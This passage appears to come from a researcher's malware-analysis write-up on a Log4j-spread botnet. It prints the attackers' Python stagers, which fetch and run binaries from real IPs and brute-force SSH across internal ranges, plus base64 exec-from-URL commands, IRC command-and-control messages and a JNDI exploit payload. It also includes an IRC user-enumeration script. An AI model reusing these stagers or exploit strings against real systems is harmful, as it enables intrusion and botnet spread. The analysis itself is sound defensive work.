payload = 'curl -s http://80.71.158.96/xms?web1 -o /tmp/xms; wget http://80.71.158.96/xms?web1 -O /tmp/xms; lwp-download http://80.71.158.96/xms /tmp/xms; bash /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'
lan = "ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1"
if platform.architecture()[0] == "64bit":
urlx64 = "http://80.71.158.96/hxx"
urlxx = "http://80.71.158.96/pas3"
urlxxx = "http://80.71.158.96/scan"
try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open ("/tmp/hxx", "wb") as code:
code.write(data)
xx = urllib.urlopen(urlxx)
if xx.code == 200:
data = xx.read()
with open ("/tmp/pas3", "wb") as code:
code.write(data)
xxx = urllib.urlopen(urlxxx)
if xxx.code == 200:
data = xxx.read()
with open ("/tmp/scan", "wb") as code:
code.write(data)
os.chmod("/tmp/hxx", 0o777)
os.chmod("/tmp/pas3", 0o777)
os.chmod("/tmp/scan", 0o777)
os.system("cd /tmp")
os.system("rm -rf /tmp/ssh_vuln.txt")
os.system("nohup /tmp/scan 192.168.0.0-192.168.255.255 22 > /tmp/ssh_vuln.txt")
os.system("cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck")
os.system("nohup /tmp/hxx 500 -f /tmp/sshcheck /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
os.system("echo Finished")
except:
pass
else:
urlx32 = "http://80.71.158.96/hxx"
urlyy = "http://80.71.158.96/pas3"
urlyyy = "http://80.71.158.96/scan"
try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open ("/tmp/hxx", "wb") as code:
code.write(data)
yy = urllib.urlopen(urlyy)
if yy.code == 200:
data = yy.read()
with open ("/tmp/pas3", "wb") as code:
code.write(data)
yyy = urllib.urlopen(urlyyy)
if yyy.code == 200:
data = yyy.read()
with open ("/tmp/scan", "wb") as code:
code.write(data)
os.chmod("/tmp/hxx", 0o777)
os.chmod("/tmp/pas3", 0o777)
os.chmod("/tmp/scan", 0o777)
os.system("cd /tmp")
os.system("rm -rf /tmp/ssh_vuln.txt")
os.system("nohup /tmp/scan 192.168.0.0-192.168.255.255 22 > /tmp/ssh_vuln.txt")
os.system("cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck")
os.system("nohup /tmp/hxx 500 -f /tmp/sshcheck /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
os.system("echo Finished")
except:
pass
Lateral scan/movement and reporting of SSH servers.
02_e_scan/pas3 and 03_ei_scan2/pas are available to download and are safe text files, these are full fledged username/password combinations that were deployed to search and attack new hosts to grow the network with.
More deployment and execution. Execution broadened to all local IP addresses for even more lateral movement.
import urllib
import platform
import os
payload = 'curl -s http://80.71.158.96/xms?web2 -o /tmp/xms; wget http://80.71.158.96/xms?web2 -O /tmp/xms; lwp-download http://80.71.158.96/xms /tmp/xms; bash /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'
lan = "ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1"
if platform.architecture()[0] == "64bit":
urlx64 = "http://80.71.158.96/hxx"
urlxx = "http://80.71.158.96/pas"
urlxxx = "http://80.71.158.96/scan2"
try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open ("/tmp/hxx", "wb") as code:
code.write(data)
xx = urllib.urlopen(urlxx)
if xx.code == 200:
data = xx.read()
with open ("/tmp/pas3", "wb") as code:
code.write(data)
xxx = urllib.urlopen(urlxxx)
if xxx.code == 200:
data = xxx.read()
with open ("/tmp/scan2", "wb") as code:
code.write(data)
os.chmod("/tmp/hxx", 0o777)
os.chmod("/tmp/pas", 0o777)
os.chmod("/tmp/scan2", 0o777)
os.system("cd /tmp")
os.system("rm -rf /tmp/ssh_vulnnew.txt")
os.system("nohup /tmp/scan2 -g 172,192,10 -p 22 -D 40 -T 500 > /tmp/ssh_vulnnew.txt")
os.system("cat /tmp/ssh_vulnnew.txt | grep -v '#' | awk '{print $1}' | sed 's/:22//' > /tmp/ips.check")
os.system("nohup /tmp/hxx 500 -f /tmp/ips.check /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
os.system("echo Finished")
except:
pass
else:
urlx32 = "http://80.71.158.96/hxx"
urlyy = "http://80.71.158.96/pas"
urlyyy = "http://80.71.158.96/scan2"
try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open ("/tmp/hxx", "wb") as code:
code.write(data)
yy = urllib.urlopen(urlyy)
if yy.code == 200:
data = yy.read()
with open ("/tmp/pas3", "wb") as code:
code.write(data)
yyy = urllib.urlopen(urlyyy)
if yyy.code == 200:
data = yyy.read()
with open ("/tmp/scan2", "wb") as code:
code.write(data)
os.chmod("/tmp/hxx", 0o777)
os.chmod("/tmp/pas", 0o777)
os.chmod("/tmp/scan2", 0o777)
os.system("cd /tmp")
os.system("rm -rf /tmp/ssh_vulnnew.txt")
os.system("nohup /tmp/scan2 -g 172,192,10 -p 22 -D 40 -T 500 > /tmp/ssh_vulnnew.txt")
os.system("cat /tmp/ssh_vulnnew.txt | grep -v '#' | awk '{print $1}' | sed 's/:22//' > /tmp/ips.check")
os.system("nohup /tmp/hxx 500 -f /tmp/ips.check /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
os.system("echo Finished")
except:
pass
Just doing some letter searching for the Python files, I found b.py. Seems to be an old one that I think I recognize from a previous Log4j attempt that was defunct by the time I got to it. Perhaps it was a dry-run. Malware deployment server is and was down when I checked and I recognized the IP (I think it's visible in the previous Log4j article).
import urllib
import platform
import os
if platform.architecture()[0] == "64bit":
urlx64 = "http://209.141.40.190/x64b"
try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open ("/tmp/x64b", "wb") as code:
code.write(data)
os.chmod("/tmp/x64b", 0o777)
os.system("/tmp/x64b")
except:
pass
else:
urlx32 = "http://209.141.40.190/x32b"
try:
y = urllib.urlopen(urlx32)
if y.code == 200:
data = y.read()
with open ("/tmp/x32b", "wb") as code:
code.write(data)
os.chmod("/tmp/x32b", 0o777)
os.system("/tmp/x32b")
except:
pass
NMAP showed that the same host has port 21 (FTP) open, so I connected via FTP and saw a single file available, wxm.exe. I downloaded it and it also appears to be a CryptoMiner, but for Windows. Perhaps a separate deployment is being used or is planned.
In the disassembly this IP and port can be found. Connecting through HTTP/firefox on http://104.168.71.132
port 80:
:irc.bashgo.pw NOTICE AUTH :*** Looking up your hostname...
:irc.bashgo.pw NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [##bcable-redacted##] (HTTP command from IRC connection (ATTACK?))
Oopsies, didn't realize what I was doing. Nice trick with port 80 I fell for it. Let's use Irssi…
Easily scriptable if needed (which was needed later), lightweight, runnable in GNU screen, and easy to secure for the most part.
First settings needed, starting up Irssi just running these:
/set autolog on
/set autolog_level all
/ignore * ctcps
Need to log everything. CTCP is a dangerous protocol when dealing with unknown users, they can collect a lot of information on you and send potentially harmful commands, so you want to ignore those commands from everyone. This provides a pretty stealth connection.
This creates a standard ~/.irssi/config file with these settings, then you can go in there and edit:
settings = {
core = {
real_name = "";
user_name = "";
nick = "";
};
[(status)] /connect 104.168.71.132 80
20:02 !irc.bashgo.pw *** Looking up your hostname...
20:02 !irc.bashgo.pw *** Couldn't resolve your hostname; using your IP address instead
20:02 -!- Capabilities requested: multi-prefix
20:02 -!- Capabilities supported: account-notify away-notify multi-prefix userhost-in-names
20:02 -!- Capabilities acknowledged: multi-prefix
20:02 -!- Welcome to the bashgo.pw IRC Network root!root@[##bcable-redacted##]
20:02 -!- Your host is irc.bashgo.pw, running version Unreal3.2.10.6
20:02 -!- This server was created Wed Apr 28 2021 at 20:17:13 BST
20:02 -!- irc.bashgo.pw Unreal3.2.10.6 iowghraAsORTVSxNCWqBzvdHtGpI lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ
20:02 -!- UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=30 CHANLIMIT=#:30 MAXLIST=b:60,e:60,I:60 NICKLEN=30
CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 are supported by this server
20:02 -!- WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+
CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ NETWORK=bashgo.pw CASEMAPPING=ascii EXTBAN=~,qjncrRa
ELIST=MNUCT STATUSMSG=~&@%+ are supported by this server
20:02 -!- EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP,STARTTLS are supported by this server
20:02 -!- There are 6404 users and 2 invisible on 1 servers
20:02 -!- 3 unknown connection(s)
20:02 -!- 2 channels formed
20:02 -!- I have 6406 clients and 0 servers
20:02 -!- 6406 15000 Current local users 6406, max 15000
20:02 -!- 6406 8513 Current global users 6406, max 8513
20:02 -!- - irc.bashgo.pw Message of the Day -
20:02 -!- - 28/4/2021 20:18
20:02 -!- -
20:02 -!- End of /MOTD command.
20:02 -!- Mode change [+iwxG] for user root
6404 users, much more than the last server…
[(status)] /j #.br
20:14 -!- IWKKRM [IWKKRM@E5BB16BF.378D07CA.B0E7DD4F.IP] has joined #.br
20:14 [Users #.br]
20:14 [ AADDCD ] [ EIOMAJ ] [ IUSZ ] [ NBLKVS ] [ RJZOMOD ] [ VTCNW ]
20:14 [ AAGBJBCI] [ EIQUVZ ] [ IVGF ] [ NBLO ] [ RJZXE ] [ VTEN ]
20:14 [ AAHTUEO ] [ EIZJVU ] [ IVJLL ] [ NBNJDMAA] [ RKAVYPAF] [ VTGBD ]
20:14 [ AAMAR ] [ EJIG ] [ IVOS ] [ NBNRVLWS] [ RKBMH ] [ VTINFXX ]
20:14 [ AANW ] [ EJMSRGN ] [ IVZAJQQ ] [ NBVBX ] [ RKDE ] [ VTMWYWKR]
20:14 [ AAON ] [ EJNB ] [ IWBZGYZX] [ NBVXZZ ] [ RKEVF ] [ VTOMEDK ]
20:14 [ AAQW ] [ EJOMBSN ] [ IWECKVG ] [ NCCX ] [ RKFYGUJ ] [ VTUQ ]
20:14 [ AASMBE ] [ EJPBZ ] [ IWHTC ] [ NCFWX ] [ RKIZHEPC] [ VTWM ]
20:14 [ AASWW ] [ EJRR ] [ IWHWTD ] [ NCLL ] [ RKJOFUVI] [ VUDC ]
20:14 [ AAWGP ] [ EKCLYMWO] [ IWKKRM ] [ NCLXRMQ ] [ RKQK ] [ VUIIER ]
20:14 [ AAYUUCF ] [ EKRAT ] [ IWKYS ] [ NCNDYG ] [ RKSFA ] [ VUPB ]
[…]
Trails off forever, Auditorium Mode (+u) was not enabled at first, but it was being enabled/disabled constantly as needed by the server admins. I grabbed a list of the users via:
[(status)] /channel
20:03 You are on the following channels:
20:03 #.br +Mmnst (104): XHZIFPQY ZMNF HYYOPLBT TOFC UXDAOZNF HSLP VNDX ZDTNKE UFXLU SUEBXEI DHXLD HFBQG CIMMJM OGCDTG OGXCSX BVIAF VBLEKN FIOY DMHL UABYWJWO NTQIFLR RXNE ASHR IZEXXFZ
HYKXFSS MPDCCNO MMSKIGJK OSSLMU MUWWR PWTNFYA RYOMY QBSWEW MASOBF ICBRIS YNYWDUIG YVPI WBKD EYOVEZNV UEZEHM TJSNFHT EANZ DLYTAPAR NTRVJON CONPKXMD KSCTMW JUJGUE ZNJJHBN
BKFXGW SDSQSJB TWDLQQTY JTXHQOU KSQG UJAZBJ NTDJS UXFZR YRGCZKQ EODA LTYVACZY STSGQJ BFDCIUV BEMYFWQS DQOGW TDIGSY NJPNGWOX XVZZXLIJ ZHHYXGA SDMX IIOGEBNB BQWL LFHXQHUL IQDU
HXEG KPZZDPG XTECGGW WLJUFNK MFMKIO ZVSMN DGXPTZZZ FYFQ NEJE BVTZUX LMMXJP BKRH ZEUYA IYDES GQNSWUFZ XXFPNC FDLCFSY GQLPIIYE THDQJGSS NMNAPLC HNSH BEMC MGTIEOO DKFN JEOPGT
BDWR ZXGFEA ADDVPBD MWQUES OKXBUDPO WIZMT VFWYCRD OWUDQ YQOHH PFZCMRUF WVGNRGRQ IOENQGN RVCUA QKAZVQND IXYEGBUG HLSRUXYJ CITAYIFA OHJGCQP ZYTEGKN XBPSDX TQCEOQW QPCSAVKH
[…]
Trails off as well. Stored it, parsed it into one user per line.
From here I did two things, since auditorium mode was disabled, I could see the following types of messages:
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:18 -!- UPIV [AEKF@##bcable-redacted##] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:18 -!- KXJOX [GACHYUGM@##bcable-redacted##] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:18 -!- PBXGKF [EWPQCGRP@##bcable-redacted## has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- FWPD [LGQASXOK@##bcable-redacted##] has quit [Client exited]
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- DNOWHUA [ZWFE@##bcable-redacted##] has quit [Client exited]
20:19 -!- UIKSDHVM [PBEDWEXH@##bcable-redacted##] has joined #.br
20:19 -!- UGXJQLZO [MDVSNLPD@##bcable-redacted##] has quit [Ping timeout: 180 seconds]
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- JCCJDHZ [CBUTS@##bcable-redacted##] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- YOSJG [HTOILG@##bcable-redacted##] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- ZXFQMHV [EYRZEOE@##bcable-redacted##] has quit [Ping timeout: 180 seconds]
20:19 -!- DXZDDLL [BVGUTKCT@##bcable-redacted##] has joined #.br
The hostnames are redacted because these are actual hostnames and IPs of real victims. This leads to method one, logging, which was already happening with autolog (see? good to do). While extremely passive, this can still provide a guaranteed means of getting hostnames unlike the way the previous botnet was logging with Auditorium Mode enabled (which, to be fair, this botnet enabled it from time to time, just disabled it when they wanted to for some reason which made this mechanism less effective). This is stored in what is later used as “irc_joins_quits”.
So, also with auditorium mode disabled, I had all of the user names from the server at my fingertips. I also had them copied from before.
Using this, I created an Irssi Plugin to sleep every 1000 milliseconds plus a random time between 0-1000 more milliseconds. This prevents flooding, even if it takes awhile. Posing as a bot account, this wasn't a problem.
use strict;
use Irssi;
use vars qw($VERSION %IRSSI);
$VERSION = "0.1";
%IRSSI = (
authors => "Frank Herbert",
contact => "frank\@dune.com",
name => "color_script.pl",
description => "Sets colors nicely.",
license => "BSD",
url => "http://dune.com",
changed => "23rd of May, 2003",
changes => "v0.1: Initial Release"
);
my $timer;
my %whois_ret;
sub run_colors_one {
for my $server (Irssi::servers) {
next unless $server->isa('Irssi::Irc::Server');
open(F, "<", "/home/kali/users.nl");
my @lines = <F>;
close(F);
chomp(@lines);
for my $nick (@lines){
next if $whois_ret{ $nick };
#print("whois $nick");
$server->command("whois $nick");
$whois_ret{ $nick } = 1;
$timer = Irssi::timeout_add_once(1_000 + rand 1_000, 'run_colors_one', '');
return;
}
}
}
sub run_colors {
%whois_ret = ();
run_colors_one();
}
Irssi::command_bind("run_colors", "run_colors");
Other notable occurances, auditorium mode was enabled a few times which left me in the lurch on the joins/quits, but for fairly short duration:
23:20 -!- mode/#.br [+u] by c7k
00:30 [Users #.br]
00:30 [ EIAWD]
00:30 -!- Irssi: #.br: Total of 1 nicks [0 ops, 0 halfops, 0 voices, 1 normal]
02:46 -!- mode/#.br [-u] by c55k
02:46 -!- AHVOQVBB [AXQCBV@##bcable-redacted##] has joined #.br
02:46 -!- BDUY [ZVDS@##bcable-redacted##] has joined #.br
02:46 -!- RZVJQE [BOGBA@##bcable-redacted##] has joined #.br
Even shorter playtime:
04:40 -!- mode/#.br [+u] by c55k
04:40 -!- mode/#.br [-u] by c55k
05:15 -!- mode/#.br [+u] by c77k
05:18 < c55k> !* SSH echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZS5weSIpLnJlYWQoKSkn | base64 -d | bash -
05:53 < c77k> !* SSH nohup echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZWkucHkiKS5yZWFkKCkpJw== | base64 -d | bash -
05:54 -!- mode/#.br [-u] by c77k
More playtime after the exploit drops… I really think these are multiple people…
05:54 -!- mode/#.br [+u] by c77k
06:46 -!- mode/#.br [-u] by c55k
Anyway, those exploits are easy enough:
b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/e.py").read())\''
b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/ei.py").read())\''
Which is how the extra stages were exposed, and the extra malware staging was discovered for me to dig into above.
Nothing much was done beyond identifying the 5586/6404 bots. Or 6401-6403 if c4k, c7k, c55k, and c77k are all distinct humans. Hard to tell, obviously, but they seem playfully fighting in my armchair opinion. They seem to have different short term motives/needs, like different team members doing different things. They also seem coordinated, since c55k dropped e.py
at the same time as c77k dropping ei.py
, which would make no sense for one person to do either as two accounts. The added nohup
by c77k even suggests that they have different opinions on how to run the code in question (or differing skill levels, that's actually a good idea, but I'd probably leave it out myself, too, in that position just out of it not occurring to me in the moment especially with that much pressure that the exploit code was being deployed to so many hosts… it also should not be extremely dangerous to run without nohup
, so it's not a massive deal, but it is overall a positive difference based on the mindset of the individual and creates an interesting separation in the logic between the two developers).
159.223.171.171 - - [21/Jan/2022:21:22:34 +0000] "GET /:undefined HTTP/1.1" 302 215 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//13.78.223.142:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//13.78.223.142:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=}')"</code></pre></p>
$ ldapsearch -x -H ldap://13.78.223.142:1389 -b TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=
# extended LDIF
#
# LDAPv3
# base <TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
#
dn: TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IH
x8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDs
gY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=
javaClassName: java.lang.String
javaSerializedData:: rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAA
AABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YX
gubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3Rvcjt
MAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlv
bnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJA
BFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2
xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA
AAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EA
fgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeHB0A
AVzY29wZXQAAHNxAH4AC3QABGF1dGhxAH4AD3NxAH4AC3QACXNpbmdsZXRvbnQABHRydWVzcQB+AA
t0AAtmb3JjZVN0cmluZ3QABng9ZXZhbHNxAH4AC3QAAXh0AqJ7IiIuZ2V0Q2xhc3MoKS5mb3JOYW1
lKCJqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlciIpLm5ld0luc3RhbmNlKCkuZ2V0RW5n
aW5lQnlOYW1lKCJKYXZhU2NyaXB0IikuZXZhbCgidmFyIHN0cnM9bmV3IEFycmF5KDMpOwogICAgI
CAgIGlmKGphdmEuaW8uRmlsZS5zZXBhcmF0b3IuZXF1YWxzKCcvJykpewogICAgICAgICAgICBzdH
JzWzBdPScvYmluL2Jhc2gnOwogICAgICAgICAgICBzdHJzWzFdPSctYyc7CiAgICAgICAgICAgIHN
0cnNbMl09J2NkIC90bXAgfHwgY2QgL3Zhci9ydW4gfHwgY2QgL21udCB8fCBjZCAvcm9vdCB8fCBj
ZCAvOyB3Z2V0IGh0dHA6Ly81MS4xNjEuNjQuMTk4L2luc3RhbGwuc2g7IGNobW9kIDc3NyBpbnN0Y
WxsLnNoOyBzaCBpbnN0YWxsLnNoJzsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgc3Ryc1swXT
0nY21kJzsKICAgICAgICAgICAgc3Ryc1sxXT0nL0MnOwogICAgICAgICAgICBzdHJzWzJdPSdjZCA
vdG1wIHx8IGNkIC92YXIvcnVuIHx8IGNkIC9tbnQgfHwgY2QgL3Jvb3QgfHwgY2QgLzsgd2dldCBo
dHRwOi8vNTEuMTYxLjY0LjE5OC9pbnN0YWxsLnNoOyBjaG1vZCA3NzcgaW5zdGFsbC5zaDsgc2gga
W5zdGFsbC5zaCc7CiAgICAgICAgfQogICAgICAgIGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbW
UoKS5leGVjKHN0cnMpOyIpfXBwcHBweHQAJW9yZy5hcGFjaGUubmFtaW5nLmZhY3RvcnkuQmVhbkZ
hY3RvcnlwdAAUamF2YXguZWwuRUxQcm9jZXNzb3I=
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
b'\xac\xed\x00\x05sr\x00\x1dorg.apache.naming.ResourceRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x1dorg.apache.naming.AbstractRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x16javax.naming.Reference\xe8\xc6\x9e\xa2\xa8\xe9\x8d\t\x02\x00\x04L\x00\x05addrst\x00\x12Ljava/util/Vector;L\x00\x0cclassFactoryt\x00\x12Ljava/lang/String;L\x00\x14classFactoryLocationq\x00~\x00\x04L\x00\tclassNameq\x00~\x00\x04xpsr\x00\x10java.util.Vector\xd9\x97}[\x80;\xaf\x01\x03\x00\x03I\x00\x11capacityIncrementI\x00\x0celementCount[\x00\x0belementDatat\x00\x13[Ljava/lang/Object;xp\x00\x00\x00\x00\x00\x00\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\nsr\x00\x1ajavax.naming.StringRefAddr\x84K\xf4<\xe1\x11\xdc\xc9\x02\x00\x01L\x00\x08contentsq\x00~\x00\x04xr\x00\x14javax.naming.RefAddr\xeb\xa0\x07\x9a\x028\xafJ\x02\x00\x01L\x00\x08addrTypeq\x00~\x00\x04xpt\x00\x05scopet\x00\x00sq\x00~\x00\x0bt\x00\x04authq\x00~\x00\x0fsq\x00~\x00\x0bt\x00\tsingletont\x00\x04truesq\x00~\x00\x0bt\x00\x0bforceStringt\x00\x06x=evalsq\x00~\x00\x0bt\x00\x01xt\x02\xa2{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var strs=new Array(3);\n if(java.io.File.separator.equals(\'/\')){\n strs[0]=\'/bin/bash\';\n strs[1]=\'-c\';\n strs[2]=\'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://51.161.64.198/install.sh; chmod 777 install.sh; sh install.sh\';\n }else{\n strs[0]=\'cmd\';\n strs[1]=\'/C\';\n strs[2]=\'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://51.161.64.198/install.sh; chmod 777 install.sh; sh install.sh\';\n }\n java.lang.Runtime.getRuntime().exec(strs);")}pppppxt\x00%org.apache.naming.factory.BeanFactorypt\x00\x14javax.el.ELProcessor'
b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/e.py").read())\''
The full list of pulled malware is the following:
01_bin/httpd.arm4: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.arm5: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.arm6: Unix.Dropper.Mirai-7489238-0 FOUND
01_bin/httpd.mips: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.mpsl: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.ppc: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.sparc: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.x86: Unix.Dropper.Mirai-7540662-0 FOUND
01_bin/install.sh: OK
02_bin/8UsA.sh: OK
02_bin/Josho.arm5: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.arm6: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.arm7: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.m68k: Unix.Trojan.Mirai-6981989-0 FOUND
02_bin/Josho.mips: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.mpsl: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.ppc: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.sh4: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.x86: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/8UsA1.sh: OK
03_bin/Josho.arm: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.arm5: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.arm6: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.arm7: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.m68k: Unix.Trojan.Mirai-6981989-0 FOUND
03_bin/Josho.mips: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.mpsl: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.ppc: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.sh4: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.spc: Unix.Dropper.Mirai-7135890-0 FOUND
